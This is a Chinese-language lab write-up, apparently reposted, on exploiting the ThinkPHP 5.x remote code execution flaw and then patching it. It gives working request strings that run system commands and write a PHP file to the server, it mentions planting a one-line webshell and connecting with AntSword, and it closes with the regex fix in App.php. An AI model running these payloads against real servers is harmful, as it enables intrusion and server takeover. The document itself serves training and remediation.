正文
實驗地址:ThinkPHP5.x 遠程函式執行與sql注入_安全龍-專注做企業網路安全服務與網路安全培訓! (anquanlong.com)
知識梳理:
PoC,全稱“Proof of Concept”,中文“概念驗證”,常指一段漏洞證明的代碼,
Exp,全稱“Exploit”,中文“利用”,指利用系統漏洞進行攻擊的動作,
Payload,中文“有效載荷”,指成功 exploit 之后,真正在目標系統執行的代碼或指令,
Shellcode,簡單翻譯“shell 代碼”,是 Payload 的一種,由于其建立正向/反向 shell 而得名,

(用蟻劍連上之后,發現這是安全龍部署在阿里云上的環境)
? 首先嘗試了遠程函式漏洞的初始陳述句:
?s=index/\think\app/invokefunction&function=system&return_value=&command=
可執行Linux命令

然后我們按照提示去寫入一個檔案,phpinfo的功能
利用到了file_put_contents函式(POC分析)
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=./test.php&vars[1][]=<?php%20phpinfo();?>

回顯出了數字18,表示我們寫入檔案成功
接著進行訪問
test.php

出現如上頁面,成功利用漏洞,
接著我還嘗試了一句話木馬的寫入,答案顯然,也是可以寫入并利用的,
最后蟻劍連接即可,




利用完漏洞,對于我們來說最重要的學會去修復
接下來學習修復這個漏洞
1.添加一段代碼到App.php的554行
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}

修改之后,使用原來的poc發現失效了
漏洞修復成功,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/296488.html
標籤:其他
上一篇:php反序列化漏洞基礎
